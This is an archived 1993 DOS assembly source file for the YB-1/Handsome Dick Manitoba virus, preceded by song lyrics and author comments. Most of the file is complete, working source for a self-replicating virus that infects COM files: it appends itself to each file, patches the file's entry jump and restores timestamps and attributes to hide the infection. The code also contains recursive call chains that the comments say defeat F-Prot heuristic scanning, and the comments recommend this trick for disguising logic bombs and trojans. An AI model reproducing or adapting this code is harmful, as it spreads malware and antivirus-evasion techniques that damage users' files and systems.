home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CRYPT17.ZIP / YB-X.ASM < prev    next >
Assembly Source File  |  1993-08-11  |  16KB  |  437 lines

  1. comment #  
  2.  
  3.   PRE-IGNITION
  4.   Hey you...
  5.   Tell me, what's your call name
  6.   Closed, negative display
  7.   Engaged on section three
  8.   The acrid factories
  9.   You...
  10.   Putrid perfect product
  11.   Proper platinum parts
  12.   Proficient prototypes
  13.   Steadily spew from these pipes
  14.   Are you...
  15.   The prime automaton
  16.   Christened as YB-1
  17.   Hey you...
  18.   Generated by waste
  19.   Arid quarry displaced
  20.   Enviro-mental squeeze
  21.   Aluminum disease
  22.   You...
  23.   Conscious of origin
  24.   Intention in the wind
  25.   Atmosphere infected
  26.   Descendants defected
  27.   Are you...
  28.   Novel stroke of design
  29.   Or relics from this mine
  30.   Casually, choke,
  31.   Noxious nourishment
  32.   Embodied, illicit cure
  33.   Ground and rock and sand
  34.   Come crumble tumble down
  35.   Grinding round
  36.   The hydraulic wheel
  37.   Extraction,
  38.   For ultimate greed
  39.   Now... hidden from view
  40.   Surveying stable shifts
  41.   A feeble groove
  42.   Unintentional split
  43.   Then they return to work
  44.   As if they're not disturbed
  45.   Cybernetic beings
  46.   Omniscient regiment
  47.   Thriving with vigor
  48.   Incessant loop
  49.   An assumed order
  50.   Auspicious tool
  51.   Frantically, flow
  52.   Spumous sediment
  53.   Remedied, neurotic fuse
  54.   Ground and rock and sand
  55.   Come crumble tumble down
  56.   Yonder sound, an echoing gong
  57.   Disjunction
  58.   Of their disowned song
  59.   Now... some are set free
  60.   Emotions flood their gaze
  61.   Synthetic breed
  62.   The pre-ignition phase
  63.   Pre-ignition
  64.   Flares up in you
  65.   Pre-ignition
  66.   Provokes me too.
  67.  
  68. #
  69.  
  70. ;**********************************************************************
  71. ; YB-5 & HANDSOME DICK MANITOBA  
  72. ; AUTHOR:  Köhntark; surgeon: Urnst Kouch
  73. ;
  74. ; Yes, another 'unremarkable' virus . . . it still will put a few more
  75. ; dollars in the accounts of the AV industry . . .
  76. ;**********************************************************************
  77. ;This virus is a simple demonstrator with a series of 'nothing' CALLS
  78. ;on virus entry which point to a end segment of recursive code which 
  79. ;are is sufficient to foil F-Prot's 'heuristic'mode. It's not elegant 
  80. ;clever or pretty or particularly smart, but it works. However,
  81. ;it's clear that such an arrangement of code can quickly make almost
  82. ;ANY direct action virus invisible to cursory F-Prot scanning
  83. ;which attempts to identify suspicious code on its similarity to viral
  84. ;patterns.  The utility depends upon circumstance.  In practice,
  85. ;we find almost no one but virus writers and anti-virus researchers
  86. ;use the 'heuristic' features of commercial programs.  And very few
  87. ;of them actually pay for the software, so it can hardly be considered
  88. ;'real world'.  By contrast, it has been our experience that few 
  89. ;administrators or PC herdsmen have the patience or time to interpret
  90. ;heuristic analyses across numerous minutely different, yet
  91. ;idiosyncratic operating systems and platforms.  The 'anti-heuristic' code
  92. ;practicality, then, lies - we feel - mostly in disguising direct
  93. ; action viruses, --------->
  94. ;logic bombs or trojan programs for quick acts of data mutilation or
  95. ;pure harrassment.  By looking at the simple implementation in YB-1/
  96. ;Handsome Dick Manitoba virus, it's clear that this kind of disguise
  97. ;is barely 5 minutes of work for even the feeblest programmer, hence
  98. ;its utility in the above categories.  In the long run, it's not
  99. ;likely to mean much difference in viral spread, although,
  100. ;it may have made a difference if included in the "Goddamn Butterflies"
  101. ;virus which was distributed in Telemate shareware packages.  Most
  102. ;warnings were issued by sysops who had scanned the Telemate programs
  103. ;with F-Prot in its 'heuristic' mode, which correctly pointed out
  104. ;the nature of the virus infection.  Including the outlined code from
  105. ;Handsome Dick Manitoba/YB-1, below, in the same "Goddamn Butterflies"
  106. ;virus, renders it invisible to scanning under the SAME conditions.
  107. ;This particular example does not get past TBScan's heuristic mode
  108. ;which works differently than F-Prot.  
  109.  
  110. MAIN    SEGMENT BYTE
  111.         ASSUME cs:main,ds:main,ss:nothing      ;all part in one segment=com file
  112.         ORG    100h
  113.  
  114. ;**********************************
  115. ;  fake host program
  116. ;**********************************
  117.  
  118. HOST:
  119.         db    0E9h,0Ah,00          ;jmp    NEAR PTR VIRUS
  120.         db     '  '
  121.         db     090h,090h
  122.         mov    ah,4CH
  123.         mov    al,0
  124.         int    21H                 ;terminate normally with dos
  125.  
  126. ;═════════════════════════════════════════════════════════════════════════════
  127.  
  128. ;**********************************
  129. ; VIRUS CODE STARTS HERE
  130. ;**********************************
  131.  
  132.  
  133. VIRUS:                            ;a label for the first byte of the virus
  134.  
  135.             call ANTI_HEUR        ;30 cents worth of anti-F-Prot type
  136.             call ANTI_HEUR        ;heuristic analysis measures
  137.             call ANTI_HEUR        ;the key is the 'recursive' nature of
  138.             call ANTI_HEUR        ;the code pointed to be the ANTI-HEUR
  139.             call ANTI_HEUR        ;calls.  When a certain threshold of
  140.             call ANTI_HEUR        ;interior 'twisting' - bytewise - occurs
  141.             call ANTI_HEUR        ;F-Prot gives up in heuristic mode.
  142.             call ANTI_HEUR        ;It's not elegant, but it's cheap
  143.             call ANTI_HEUR        ;insurance which
  144.             call ANTI_HEUR        ;works.
  145.             
  146.             call GET_ENTRY_PT   ;<--when call is performed absolute address goes to stack
  147.                                 ;in addition, it is unlikely these bytes will
  148. GET_ENTRY_PT:                   ;be used for signature recognition - unless
  149.             pop  si             ;someone is criminally stupid.
  150.             sub  si,GET_ENTRY_PT - VIRUS  ;fix absolute address
  151.  
  152.  
  153.  
  154. ;************************************           
  155. ; restore 4 original bytes to file
  156. ;************************************
  157.            
  158.            push si                                ;save si
  159.            cld                                    ;clear direction flag
  160.            add  si,START_CODE-VIRUS
  161.            mov  di,0100h
  162.            movsw                                  ;this is shorter & faster than 
  163.            movsw                                  ;mov cx,04 and rep movsb
  164.            pop  si                                ;restore si
  165.  
  166.            call ANTI_HEUR      ;another 30 cents worth of anti-F-Prot
  167.            call ANTI_HEUR
  168.            call ANTI_HEUR
  169.            call ANTI_HEUR
  170.            call ANTI_HEUR
  171.            call ANTI_HEUR
  172.            call ANTI_HEUR
  173.            call ANTI_HEUR
  174.            call ANTI_HEUR
  175.            call ANTI_HEUR
  176.  
  177. ;************************************           
  178. ; redirect DTA onto virus code
  179. ;************************************
  180.            
  181.    lea  dx,[si+ DTA - VIRUS]      ;put DTA at the end of the virus for now
  182.    mov  ah,1ah                    ;set new DTA function
  183.    int  21h
  184.  
  185. ;************************************
  186. ; Routines called from here           
  187. ;************************************
  188.  
  189.            call FIND_FILE       ;get a com file to attack!
  190.  
  191.  
  192. ;═════════════════════════════════════════════════════════════════════════════
  193.  
  194. EXIT_VIRUS:
  195.            
  196. ;************************************
  197. ; set old  DTA  address
  198. ;************************************
  199.  
  200.            mov ah,1ah
  201.            mov dx,80h            ;fix dta back to return control to
  202.            int 21h               ;host program
  203.  
  204.  
  205. EXIT_VIRUS2:
  206.  
  207. ;****************************************************************
  208. ; zero out registers for return to
  209. ; host program
  210. ;****************************************************************
  211.  
  212.  mov  si,0100h     
  213.  xor  bx,bx
  214.  xor  ax,ax
  215.  
  216.  
  217.  push si           ;save return address in stack
  218.  xor  dx,dx
  219.  xor  si,si
  220.  xor  di,di
  221.  ret               ;back to com host
  222.  
  223.  
  224. ;*****************************************************************
  225.  
  226. ANTI_HEUR:                       ;25 cents worth of anti-heuristic
  227.                 jmp  $ + 2       ;virus strategy.  Nothing code
  228.                 call dolt
  229.                 call dolt 
  230.                 call dolt
  231.                 call dolt
  232.                 
  233.                 ret              ;sufficient to flummox analysis.
  234. DOLT:           jmp $ + 2
  235.                 call dolt2       ;by recursively twisting the flow
  236.                 call dolt2       ;of virus instructions until the
  237.                 call dolt2       ;rules of F-Prot are
  238.                 call dolt2       ;by-passed.  Actually, you can 
  239.                 ret
  240. DOLT2:          jmp $ + 2
  241.                 call dolt3       ;probably use much more elegant code,
  242.                 call dolt3       ;but the point to be made is one of
  243.                 call dolt3       ;speed of implementation and simple
  244.                 call dolt3       ;code additions which will not complicate
  245.                 ret              ;the work of the virus or necessitate
  246. DOLT3:          jmp $ + 2        ;altering any of its actual "action"
  247.                 ret              ;code
  248. ;═════════════════════════════════════════════════════════════════════════════
  249.  
  250. FIND_FILE:
  251.                 
  252.                 lea  dx,[si + FILES_TO_INFECT - VIRUS] 
  253.                 mov  ah,4eh   ;do DOS search 1st function
  254.                 mov  cx,3fh   ;search for any file, with any attributes
  255.  
  256. NEXT_FILE:      int  21h
  257.                 jc   NO_MO               ;return if not zero
  258.                 call CHECK_N_INFECT_FILE ;check file if file found
  259.                 mov  ah,4fh              ;file no good, find next function
  260.                 jmp  NEXT_FILE           ;test next file for validity
  261.  
  262. NO_MO:
  263.                 ret
  264.  
  265. ;═════════════════════════════════════════════════════════════════════════════
  266.  
  267. CHECK_N_INFECT_FILE:
  268.  
  269. ;*****************
  270. ; 1-OPEN FILE
  271. ;*****************
  272.  
  273.             lea  dx,[ si + FNAME - VIRUS]  ;open the file
  274.             mov  ax,3D02h                                ;r/w access to it
  275.             int  21h
  276.             jc   NO_GOOD                                 ;error.. quit
  277.             xchg bx,ax                                   ;bx = file handle
  278.  
  279. ;********************
  280. ; 2-Read 1st 5 bytes
  281. ;********************
  282.             
  283.             mov  cx,5                            ;read first 5 bytes of file
  284.             lea  dx,[si + START_CODE - VIRUS] ;store'em here
  285.             mov  ah,3Fh                         ;DOS read function
  286.             int  21h
  287.             jc   NO_GOOD                        ;error? get next file
  288.  
  289. ;*********************
  290. ; 3-CHECK FILE
  291. ;*********************
  292.             
  293.             mov  ax,WORD PTR [si + FSIZE - VIRUS] ;get file's size
  294.             add  ax,FINAL - VIRUS                 ;add virus size to it
  295.             jc   NO_GOOD                          ;bigger then 64K:nogood
  296.             
  297.             cmp  WORD PTR [si + START_CODE - VIRUS],'ZM' ;EXE file?
  298.             je   NO_GOOD                           ;no? good
  299.  
  300.             cmp  BYTE PTR [si + START_CODE - VIRUS],0E9H ;compare 1st byte to near jmp
  301.             jne  INFECT                            ;not a near jmp, file ok
  302.  
  303.             cmp  BYTE PTR [si + START_CODE+3 - VIRUS],20h  ;check for ' '
  304.             je   NO_GOOD                           ;file ok .. infect
  305.             jmp  short  INFECT
  306.  
  307. ;****************        
  308. ; Close File 
  309. ;****************
  310.  
  311. NO_GOOD:
  312.         mov  ah,3Eh                                  ;close file handle
  313.         int  21h                                     ;call real int21h
  314.         ret                                          ;return
  315.  
  316.  
  317. INFECT:
  318.  
  319. ;*********************************************
  320. ; 4-Get & Save File Attributes
  321. ;*********************************************
  322.  
  323.        lea dx,[si + FNAME - VIRUS]
  324.        mov ax,4300h                                       ;get file attributes in cx
  325.        int 21h                                            ;call real int21h
  326.        mov WORD PTR [si + ATTR - VIRUS],cx  ;save attributes
  327.  
  328. ;*********************************************
  329. ; 5-Set attributes
  330. ;*********************************************
  331.  
  332.        and cx,0FFFFh                          ;set attributes to normal
  333.        mov ax,4301h                           ;set file attributes to cx
  334.        int 21h
  335.  
  336. ;*********************************************        
  337. ; 6-Save date and time of file to be infected
  338. ;*********************************************
  339.  
  340.         mov  ax,5700h
  341.         int  21h
  342.         mov  WORD PTR [si + F_DATE - VIRUS],dx
  343.         mov  WORD PTR [si + F_TIME - VIRUS],cx
  344.  
  345. ;*********************        
  346. ; 7-set PTR @EOF
  347. ;*********************
  348.  
  349.         xor  cx,cx                 ;prepare to write virus on file
  350.         xor  dx,dx                 ;position file pointer,cx:dx = 0
  351.         mov  ax,4202H
  352.         int  21h
  353.  
  354. ;*********************        
  355. ; 8-append virus
  356. ;*********************
  357.  
  358.         mov dx,si       ; start of virus
  359.         mov cx,FINAL - VIRUS    
  360.                          ; write virus to end
  361.         mov     ah,40h   ; write to file
  362.                      
  363.  
  364.         int  21h   
  365. ;*********************        
  366. ; 9-set PTR @BOF
  367. ;*********************
  368.  
  369.         xor  cx,cx                           
  370.         xor  dx,dx         ;position file pointer,cx:dx = 0
  371.         mov  ax,4200h      ;locate pointer at beginning of host
  372.         int  21h
  373.  
  374. ;******************************************
  375. ; 10-write new 4 bytes to beginning of file
  376. ;******************************************
  377.         
  378.         mov  ax,WORD PTR [si + FSIZE - VIRUS]  
  379.         sub  ax,3
  380.         mov  WORD PTR [si + START_IMAGE+1 - VIRUS],ax
  381.         
  382.         mov  cx,4                                 ;#of bytes to write
  383.         lea  dx,[si+ START_IMAGE - VIRUS]         ;ds:dx=pointer of data to write
  384.         mov  ah,40h                               ;DOS write function
  385.         int  21h      ;call real int21h
  386.  
  387. ;*************************************************        
  388. ; 11-Restore date and time of file to be infected
  389. ;*************************************************
  390.  
  391.         mov  ax,5701h
  392.         mov  dx,WORD PTR [si + F_DATE - VIRUS]
  393.         mov  cx,WORD PTR [si + F_TIME - VIRUS]
  394.         int  21h
  395.  
  396. ;*************************************************        
  397. ; 12-Restore file's attributes
  398. ;*************************************************
  399.  
  400.        lea dx,[si + FNAME - VIRUS]          ;get filename
  401.        mov cx,[si + ATTR - VIRUS]           ;get old attributes
  402.        mov ax,4301h                         ;set file attributes to cx
  403.        int 21h
  404.  
  405. ;****************        
  406. ; 13-Close File 
  407. ;****************
  408.  
  409. NO_GOOD2:
  410.         mov  ah,3Eh
  411.         int  21h
  412.         ret                                          ;infection done!
  413.  
  414. ;═════════════════════════════════════════════════════════════════════════════
  415.  
  416. NAME_AUTHOR     db  'YB-1 & Handsome Dick Manitoba / Köhntark'
  417. FILES_TO_INFECT db  '*.COM',0 
  418. START_CODE      db  090h,090h,090h,090h,090h  ;area to store 5 bytes to w/r from / to file
  419. START_IMAGE     db  0E9h,0,0,020h
  420.  
  421. INT_21          dd  0
  422. ATTR            dw  0
  423. F_DATE          dw  0
  424. F_TIME          dw  0
  425. DTA             db  1Ah dup (?)                   
  426. FSIZE           dw  0,0               ;file size storage area
  427. FNAME           db  13 dup (?)         ;area for file path
  428.  
  429. ;═════════════════════════════════════════════════════════════════════════════
  430.  
  431. FINAL:                ;label of byte of code to be kept in virus when it moves
  432.  
  433. MAIN ENDS
  434.      END    HOST
  435.  
  436.